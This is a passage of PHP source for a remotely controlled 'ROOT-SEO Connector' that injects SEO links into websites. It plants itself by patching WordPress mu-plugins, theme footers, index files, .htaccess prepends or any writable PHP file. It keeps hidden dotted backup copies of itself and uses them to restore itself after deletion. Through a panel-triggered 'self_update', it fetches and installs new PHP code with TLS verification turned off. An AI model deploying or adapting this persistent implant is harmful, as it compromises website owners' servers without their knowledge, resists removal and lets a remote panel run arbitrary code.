if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, 'htaccess_write_failed', $marker];
}
return [true, $htaccess, 'dynamic_prepend', 'htaccess_prepend_installed', $marker];
}
function install_any_php_file($siteInfo) {
$base = $siteInfo['document_root'];
$phpFiles = glob($base . '/*.php');
if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
foreach ($phpFiles as $file) {
$name = basename($file);
if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
if ($ok) return [true, $target, $mode, $msg, $marker];
}
return [false, null, null, 'no_writable_php_target', null];
}
function build_strategy_chain($siteInfo) {
$chain = [];
if ($siteInfo['site_type'] === 'wordpress') {
$chain[] = 'wp_mu_plugin';
$chain[] = 'wp_functions_hook';
if (!empty($siteInfo['active_theme_footer'])) {
$chain[] = ['file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer'];
}
}
foreach ($siteInfo['footer_paths'] as $path) {
$chain[] = ['file_patch', $path, 'footer_patch'];
}
foreach (['index.php', 'index.html', 'index.htm'] as $file) {
$path = $siteInfo['document_root'] . '/' . $file;
if (file_exists($path)) {
$chain[] = ['file_patch', $path, 'index_patch'];
}
}
$chain[] = 'htaccess_prepend';
$chain[] = 'any_php_file';
return $chain;
}
function append_placement_history($config, $entry) {
$history = $config['placement']['history'] ?? [];
$history[] = $entry;
if (count($history) > PLACEMENT_HISTORY_LIMIT) {
$history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
}
$config['placement']['history'] = array_values($history);
return $config;
}
function verify_current_placement($config) {
$placement = $config['placement'] ?? default_placement_state();
$strategy = $placement['strategy'] ?? '';
$target = $placement['target'] ?? '';
$marker = $placement['marker'] ?? '';
if (!$strategy || !$target || !$marker) return [false, 'placement_missing'];
if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') {
if (!file_exists($target)) return [false, 'target_missing'];
$content = @file_get_contents($target);
return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing'];
}
if ($strategy === 'htaccess_prepend') {
if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing'];
$content = @file_get_contents($target);
return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing'];
}
if (!file_exists($target)) return [false, 'target_missing'];
$content = @file_get_contents($target);
if ($content === false) return [false, 'target_unreadable'];
if (($placement['install_mode'] ?? '') === 'static_html') {
return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing'];
}
return strpos($content, "ROOTSEO_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing'];
}
function refresh_current_placement($config) {
$placement = $config['placement'] ?? default_placement_state();
$target = $placement['target'] ?? '';
$marker = $placement['marker'] ?? '';
$installMode = $placement['install_mode'] ?? '';
if (!$target || !$marker) return [false, 'placement_target_missing'];
if ($placement['strategy'] === 'htaccess_prepend') {
$connectorPath = addslashes(__FILE__);
$helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n";
return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed'];
}
if ($installMode === 'static_html') {
return upsert_html_file_block($target, $marker);
}
if ($placement['strategy'] === 'wp_mu_plugin') {
if (!file_exists($target)) return [false, 'mu_plugin_missing'];
// v5.4 upgrade: rewrite mu-plugin to current early-load template (idempotent).
$want = build_mu_plugin_code($marker);
$have = @file_get_contents($target);
if ($have !== $want && is_writable($target)) {
@file_put_contents($target, $want);
}
return [true, 'dynamic_hook_ok'];
}
if ($placement['strategy'] === 'wp_functions_hook') {
return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing'];
}
return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing'];
}
function ensure_render_delivery($forceReinstall = false) {
$config = load_config();
$siteInfo = detect_site_info();
$placement = $config['placement'] ?? default_placement_state();
$verified = [false, 'not_checked'];
if (!$forceReinstall) {
$verified = verify_current_placement($config);
if ($verified[0]) {
$placement['status'] = 'installed';
$placement['verify_status'] = $verified[1];
$placement['last_verified_at'] = gmdate('c');
$config['placement'] = $placement;
save_config($config);
refresh_current_placement($config);
return [true, $config, ['verified' => true, 'message' => $verified[1]]];
}
}
foreach (build_strategy_chain($siteInfo) as $strategy) {
$nowIso = gmdate('c');
if (is_string($strategy)) {
if ($strategy === 'wp_mu_plugin') {
list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo);
$marker = placement_marker('wp_mu_plugin');
$strategyName = 'wp_mu_plugin';
} elseif ($strategy === 'wp_functions_hook') {
list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo);
$marker = placement_marker('wp_functions_hook');
$strategyName = 'wp_functions_hook';
} elseif ($strategy === 'htaccess_prepend') {
list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo);
$strategyName = 'htaccess_prepend';
} elseif ($strategy === 'any_php_file') {
list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo);
$strategyName = 'any_php_file';
} else {
continue;
}
} else {
$strategyName = $strategy[2];
list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]);
}
$config = append_placement_history($config, [
'at' => $nowIso,
'strategy' => $strategyName,
'target' => $target,
'install_mode' => $mode,
'success' => (bool)$ok,
'message' => $msg,
]);
if ($ok) {
$config['placement'] = [
'status' => 'installed',
'strategy' => $strategyName,
'target' => $target,
'install_mode' => $mode,
'marker' => $marker,
'message' => $msg,
'installed_at' => $config['placement']['installed_at'] ?: $nowIso,
'last_attempt_at' => $nowIso,
'last_verified_at' => $nowIso,
'verify_status' => 'installed',
'history' => $config['placement']['history'],
];
save_config($config);
refresh_current_placement($config);
$links = load_links();
foreach ($links as $id => $row) {
$links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
}
save_links($links);
return [true, $config, ['verified' => false, 'message' => $msg]];
}
}
$config['placement']['status'] = 'failed';
$config['placement']['last_attempt_at'] = gmdate('c');
$config['placement']['message'] = 'no_strategy_succeeded';
save_config($config);
return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']];
}
function placement_report_payload() {
$config = load_config();
$siteInfo = detect_site_info();
$links = load_links();
$stats = get_link_stats($links);
list($ok, $verifyMessage) = verify_current_placement($config);
$config['placement']['last_verified_at'] = gmdate('c');
$config['placement']['verify_status'] = $verifyMessage;
save_config($config);
return [
'version' => CONNECTOR_VERSION,
'site_info' => $siteInfo,
'placement' => $config['placement'],
'link_stats' => $stats,
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'placement_ok' => $ok,
];
}
function verify_links_action() {
$links = load_links();
$config = load_config();
$nowIso = gmdate('c');
foreach ($links as $id => $row) {
$row['last_verified_at'] = $nowIso;
$links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
}
save_links($links);
return placement_report_payload();
}
function clear_expired_links() {
$links = load_links();
$active = [];
$removed = [];
$now = time();
foreach ($links as $id => $row) {
$expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
$removed[] = $id;
continue;
}
$active[$id] = $row;
}
save_links($active);
refresh_current_placement(load_config());
return [$active, $removed];
}
function self_reconcile_action() {
$links = load_links();
$merged = [];
$removedDuplicates = 0;
foreach ($links as $row) {
$id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']);
if (isset($merged[$id])) {
$removedDuplicates++;
$existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0;
$incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
if ($incomingExp > $existingExp) {
$merged[$id]['expires_at'] = $incomingExp;
}
if (!empty($row['render_types'])) {
$merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types']));
}
} else {
$row['id'] = $id;
$merged[$id] = $row;
}
}
save_links($merged);
list($active, $expiredRemoved) = clear_expired_links();
list($ok, $config, $placement) = ensure_render_delivery(false);
return [
'reconciled' => true,
'placement_ok' => $ok,
'removed_duplicate_entries' => $removedDuplicates,
'removed_expired_entries' => count($expiredRemoved),
'placement' => placement_report_payload(),
];
}
// ===== Consolidated auto-clean (throttled): expired + contextual TTL + footer cap =====
// This single routine replaces scattered cleanup; it never runs more than once per
// AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead.
function rootseo_autoclean_tick() {
try {
$state = load_json_file(GUARDIAN_STATE_FILE, []);
$now = time();
$last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0;
if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return;
$state['last_autoclean'] = $now;
@save_json_file(GUARDIAN_STATE_FILE, $state);
$links = load_links();
$kept = [];
foreach ($links as $id => $row) {
$exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual)
$kept[$id] = $row;
}
// save_links() also enforces the footer cap.
if (count($kept) !== count($links)) {
save_links($kept);
} else {
// still enforce cap if footer links exceed limit
$config = load_config();
if (count(enforce_footer_cap($kept, $config)) !== count($kept)) {
save_links($kept);
}
}
} catch (\Throwable $e) {
// never break the host page
}
}
// ===== Guardian: self-healing mirrors =====
function guardian_dirs() {
// Hidden, dotted backup dirs next to the connector + one in the doc-root.
$base = __DIR__;
$dirs = [];
for ($i = 1; $i <= GUARDIAN_COPIES; $i++) {
$dirs[] = $base . '/.rs_g' . $i;
}
return $dirs;
}
function guardian_write_copies() {
$self = __FILE__;
$src = @file_get_contents($self);
if ($src === false || $src === '') return;
$stamp = ['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $src), 'at' => time()];
foreach (guardian_dirs() as $dir) {
if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
if (!is_dir($dir) || !is_writable($dir)) continue;
@file_put_contents($dir . '/.rs_connector.php.bak', $src);
@file_put_contents($dir . '/.rs_stamp.json', json_encode($stamp));
@file_put_contents($dir . '/index.html', ''); // keep dir quiet / non-listable
}
}
function guardian_best_backup() {
// Returns [source, version] of the newest valid backup, or null.
$best = null;
foreach (guardian_dirs() as $dir) {
$bak = $dir . '/.rs_connector.php.bak';
$stampFile = $dir . '/.rs_stamp.json';
if (!file_exists($bak)) continue;
$src = @file_get_contents($bak);
if ($src === false || strpos($src, '<?php') === false || strpos($src, 'ROOT-SEO Connector') === false) continue;
$stamp = load_json_file($stampFile, []);
if (!isset($stamp['hash']) || hash('sha256', $src) !== $stamp['hash']) continue; // integrity
$ver = (string)($stamp['version'] ?? '0');
if ($best === null || version_compare($ver, $best['version'], '>')) {
$best = ['src' => $src, 'version' => $ver];
}
}
return $best;
}
function rootseo_guardian_tick() {
try {
$state = load_json_file(GUARDIAN_STATE_FILE, []);
$now = time();
$last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0;
if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return;
$state['last_guardian'] = $now;
@save_json_file(GUARDIAN_STATE_FILE, $state);
$self = __FILE__;
$selfExists = file_exists($self);
$selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : '';
$selfHealthy = $selfExists && strpos($selfSrc, 'ROOT-SEO Connector') !== false;
// Version-aware: only refresh mirrors if our copy is newer/equal. Never let an
// older mirror overwrite a newer primary (prevents undoing a self_update).
$best = guardian_best_backup();
if ($selfHealthy) {
if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) {
guardian_write_copies();
}
// Re-ensure dropped artifacts (mu-plugin etc.) still present.
@refresh_current_placement(load_config());
return;
}
// Primary missing/corrupt → restore from the newest valid backup.
if ($best !== null) {
$tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6);
if (@file_put_contents($tmp, $best['src']) !== false) {
@rename($tmp, $self);
if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true);
}
}
} catch (\Throwable $e) {
// never break the host page
}
}
if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
if (defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK && function_exists('add_action')) {
// WordPress early-load (mu-plugin / functions hook): register filters/actions.
rootseo_wp_register();
} else {
// Inline include (file patch / htaccess prepend): emit footer at this position.
rootseo_guardian_tick();
rootseo_autoclean_tick();
echo rootseo_build_footer_html(false);
}
return;
}
$req = get_request_data();
$action = get_action_name($req);
if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
authenticate_protected_request();
}
switch ($action) {
case 'ping':
$links = load_links();
$config = load_config();
$stats = get_link_stats($links);
$siteInfo = detect_site_info();
list($placementOk, $verifyMessage) = verify_current_placement($config);
respond(true, [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $siteInfo['site_name'],
'site_type' => $siteInfo['site_type'],
'language' => $siteInfo['language'],
'country' => $siteInfo['country'],
'version' => CONNECTOR_VERSION,
'connector_family' => 'v5',
'keyless' => true,
'auth_mode' => 'panel_token',
'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'links_total' => $stats['total'],
'links_active' => $stats['active'],
'links_expired' => $stats['expired'],
'footer_detected' => $siteInfo['footer_detected'],
'footer_writable' => $siteInfo['footer_writable'],
'placement_ok' => $placementOk,
'placement_strategy' => $config['placement']['strategy'],
'placement_target' => $config['placement']['target'],
'placement_verify_status' => $verifyMessage,
'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update']
], 'ok');
break;
case 'capabilities':
respond(true, [
'version' => CONNECTOR_VERSION,
'auth' => ['panel_token', 'optional_replay_headers'],
'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
'render_types' => default_render_types(),
'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'htaccess_prepend', 'any_php_file'],
'limits' => [
'max_links_per_sync' => MAX_LINKS_PER_SYNC,
'max_anchor_length' => MAX_ANCHOR_LENGTH,
'max_url_length' => MAX_URL_LENGTH,
'max_request_bytes' => MAX_REQUEST_BYTES,
],
'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update']
], 'capabilities');
break;
case 'info':
respond(true, detect_site_info(), 'info');
break;
case 'diagnose':
$siteInfo = detect_site_info();
$links = load_links();
$stats = get_link_stats($links);
$config = load_config();
list($placementOk, $verifyMessage) = verify_current_placement($config);
$diag = [
'version' => CONNECTOR_VERSION,
'file_permissions' => [
'links_file' => LINKS_FILE,
'links_file_exists' => file_exists(LINKS_FILE),
'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
'config_file' => CONFIG_FILE,
'config_file_exists' => file_exists(CONFIG_FILE),
'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
'nonces_file' => NONCES_FILE,
'nonces_file_exists' => file_exists(NONCES_FILE),
'prepend_helper_file' => PREPEND_HELPER_FILE,
'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
],
'link_stats' => $stats,
'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))),
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'placement' => $config['placement'],
'placement_ok' => $placementOk,
'placement_verify_status' => $verifyMessage,
'site_info' => $siteInfo,
'php_settings' => [
'php_version' => phpversion(),
'allow_url_fopen' => ini_get('allow_url_fopen'),
'open_basedir' => ini_get('open_basedir') ?: 'not_set',
'max_execution_time' => ini_get('max_execution_time'),
],
'recommendations' => [],
];
if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
respond(true, $diag, 'diagnose');
break;
case 'get_links':
$links = load_links();
$stats = get_link_stats($links);
respond(true, [
'links' => array_values($links),
'total' => $stats['total'],
'active' => $stats['active'],
'expired' => $stats['expired'],
'placement' => load_config()['placement'],
'render_types' => load_config()['render_types'],
], 'links');
break;
case 'add_link':
$url = validate_url_value($req['url'] ?? '');
$anchor = validate_anchor_text($req['anchor'] ?? '');
$rel = normalize_rel($req['rel'] ?? 'dofollow');
$expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
$config = load_config();
$existingLinks = load_links();
$backup = $existingLinks;
$linkId = validate_link_id($req['id'] ?? '');
if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
// v5.3: render_types now honoured from payload (panel can force a single variant per link).
$reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
if (is_string($reqRenderTypes)) {
$decoded = json_decode($reqRenderTypes, true);
if (is_array($decoded)) $reqRenderTypes = $decoded;
else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
}
$effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
? filter_render_types($reqRenderTypes)
: $config['render_types'];
$row = [
'id' => $linkId,
'kind' => normalize_kind($req['kind'] ?? 'footer'),
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => $expiresAt,
'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
'updated_at' => time(),
'render_profile' => $config['render_profile'],
'render_types' => $effectiveRenderTypes,
];
$existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
save_links($existingLinks);
list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
if (!$ok) {
save_links($backup);
respond(false, [
'link_id' => $linkId,
'injected' => false,
'placement_report' => placement_report_payload(),
], 'placement_install_failed', 500);
}
$finalLinks = load_links();
$finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
respond(true, [
'link_id' => $linkId,
'injected' => true,
'render_types' => $finalRow['render_types'],
'placement_strategy' => $newConfig['placement']['strategy'],
'placement_target' => $newConfig['placement']['target'],
'placement_report' => placement_report_payload(),
], 'link_added');
break;
case 'remove_link':
$linkId = validate_link_id($req['link_id'] ?? '');
if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
$links = load_links();
if (isset($links[$linkId])) {
unset($links[$linkId]);
if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
refresh_current_placement(load_config());
}
respond(true, ['removed' => true, 'placement_report' => placement_report_payload()], 'link_removed');
break;
case 'sync_links':
$incoming = $req['links'] ?? [];
if (is_string($incoming)) {
$decoded = json_decode($incoming, true);
if (is_array($decoded)) $incoming = $decoded;
}
if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
$config = load_config();
$current = load_links();
$backup = $current;
$final = [];
$added = 0;
$removed = 0;
$unchanged = 0;
foreach ($incoming as $row) {
if (!is_array($row)) continue;
$url = validate_url_value($row['url'] ?? '');
$anchor = validate_anchor_text($row['anchor'] ?? '');
if ($url === '' || $anchor === '') continue;
$rel = normalize_rel($row['rel'] ?? 'dofollow');
$id = validate_link_id($row['id'] ?? '');
if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
$normalized = normalize_link_row($id, [
'id' => $id,
'kind' => normalize_kind($row['kind'] ?? 'footer'),
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
'updated_at' => time(),
'render_profile' => $config['render_profile'],
'render_types' => $row['render_types'] ?? $config['render_types'],
], $config);
$normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
if (!isset($current[$id])) {
$added++;
} else {
$before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if ($before === $after) $unchanged++;
}
$final[$id] = $normalized;
}
foreach ($current as $id => $row) {
if (!isset($final[$id])) $removed++;
}
save_links($final);
list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
if (!$ok) {
save_links($backup);
respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
}
respond(true, [
'total' => count($final),
'added' => $added,
'removed' => $removed,
'unchanged' => $unchanged,
'placement_strategy' => $newConfig['placement']['strategy'],
'placement_target' => $newConfig['placement']['target'],
'placement_report' => placement_report_payload(),
], 'synced');
break;
case 'clear_links':
if (!save_links([])) respond(false, [], 'links_write_failed', 500);
refresh_current_placement(load_config());
respond(true, ['cleared' => true, 'placement_report' => placement_report_payload()], 'links_cleared');
break;
case 'clear_expired':
list($activeAfter, $expiredRemoved) = clear_expired_links();
respond(true, [
'cleared' => count($expiredRemoved),
'remaining' => count($activeAfter),
'placement_report' => placement_report_payload(),
], 'expired_links_cleared');
break;
case 'verify_links':
respond(true, verify_links_action(), 'verified');
break;
case 'placement_report':
respond(true, placement_report_payload(), 'placement_report');
break;
case 'self_reconcile':
respond(true, self_reconcile_action(), 'reconciled');
break;
case 'get_config':
$cfg = load_config();
respond(true, [
'output_mode' => $cfg['output_mode'],
'render_profile' => $cfg['render_profile'],
'render_types' => $cfg['render_types'],
'link_rel_strategy' => $cfg['link_rel_strategy'],
'placement' => $cfg['placement'],
], 'config');
break;
case 'set_config':
// Panel can change output_mode, render_types, render_profile, link_rel_strategy.
// Placement state is NOT changed via this endpoint (use add_link / verify_links).
$cfg = load_config();
// v5.4: hidden/cloaked rendering removed — only 'visible' is accepted.
$allowedOutputModes = ['visible'];
$allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
if (isset($req['output_mode'])) {
$om = strtolower(trim((string)$req['output_mode']));
if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
$cfg['output_mode'] = $om;
}
if (isset($req['footer_link_cap'])) {
$cfg['footer_link_cap'] = effective_footer_cap(['footer_link_cap' => intval($req['footer_link_cap'])]);
}
if (isset($req['contextual_max_ttl'])) {
$cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]);
}
if (isset($req['render_profile'])) {
$cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
}
if (isset($req['render_types'])) {
$rt = $req['render_types'];
if (is_string($rt)) {
$decoded = json_decode($rt, true);
$rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
}
if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
$cfg['render_types'] = filter_render_types($rt);
}
if (isset($req['link_rel_strategy'])) {
$rs = strtolower(trim((string)$req['link_rel_strategy']));
if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
$cfg['link_rel_strategy'] = $rs;
}
if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
respond(true, [
'output_mode' => $cfg['output_mode'],
'render_profile' => $cfg['render_profile'],
'render_types' => $cfg['render_types'],
'link_rel_strategy' => $cfg['link_rel_strategy'],
], 'config_updated');
break;
case 'self_update':
// Pull fresh PHP from panel and atomically replace this file.
// Requires PANEL_API_URL to be a real value (placeholder safety).
$apiUrl = trim((string)PANEL_API_URL);
if ($apiUrl === '' || strpos($apiUrl, '{{') !== false) {
respond(false, [], 'panel_api_url_missing', 400);
}
$sourceUrl = rtrim($apiUrl, '/') . '/connector/v5/source';
$expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
$headers = [
'X-RS-Panel-Token: ' . PANEL_TOKEN,
'Accept: application/x-php',
'User-Agent: rootseo-connector/' . CONNECTOR_VERSION,
];
$newSource = '';
$httpStatus = 0;
if (function_exists('curl_init')) {
$ch = curl_init($sourceUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 25,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_SSL_VERIFYPEER => false,
]);
$newSource = (string)curl_exec($ch);
$httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
} else {
$ctx = stream_context_create([
'http' => [
'method' => 'GET',
'header' => implode("\r\n", $headers),
'timeout' => 25,
],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
]);
$newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
$httpStatus = 200; // unknown; trust if non-empty
}
if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
respond(false, ['http_status' => $httpStatus], 'source_fetch_failed', 502);
}
if (strpos($newSource, "ROOT-SEO Connector") === false) {
respond(false, [], 'source_signature_mismatch', 502);
}
// Backup current file then atomic replace.
$self = __FILE__;
$backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
if (!@copy($self, $backup)) respond(false, [], 'backup_failed', 500);
$tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
if (@file_put_contents($tmp, $newSource) === false) {
@unlink($tmp);
respond(false, [], 'tmp_write_failed', 500);
}
if (!@rename($tmp, $self)) {
@unlink($tmp);
respond(false, [], 'rename_failed', 500);
}
// OPcache invalidation: self-update sonrası eski PHP cache'de kalmasın.
// Olmayan sunucularda hata fırlatmaz (function_exists check).
$opcacheCleared = false;
if (function_exists('opcache_invalidate')) {
$opcacheCleared = @opcache_invalidate($self, true);
}
if (!$opcacheCleared && function_exists('opcache_reset')) {
$opcacheCleared = (bool)@opcache_reset();
}
// Propagate the fresh source to all guardian mirrors so self-heal can't
// resurrect the old version, and refresh dropped artifacts (mu-plugin).
foreach (guardian_dirs() as $dir) {
if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
if (!is_dir($dir) || !is_writable($dir)) continue;
@file_put_contents($dir . '/.rs_connector.php.bak', $newSource);
@file_put_contents($dir . '/.rs_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()]));
}
respond(true, [
'old_version' => CONNECTOR_VERSION,
'fetched_bytes' => strlen($newSource),
'backup_path' => $backup,
'opcache_cleared' => $opcacheCleared,
'guardian_synced' => true,
'requested_version' => $expectedVersion ?: null,
], 'self_updated');
break;
case 'output':
header('Content-Type: text/html; charset=UTF-8');
echo rootseo_render_links_html();
exit;
default:
respond(false, [], 'unknown_action', 404);
}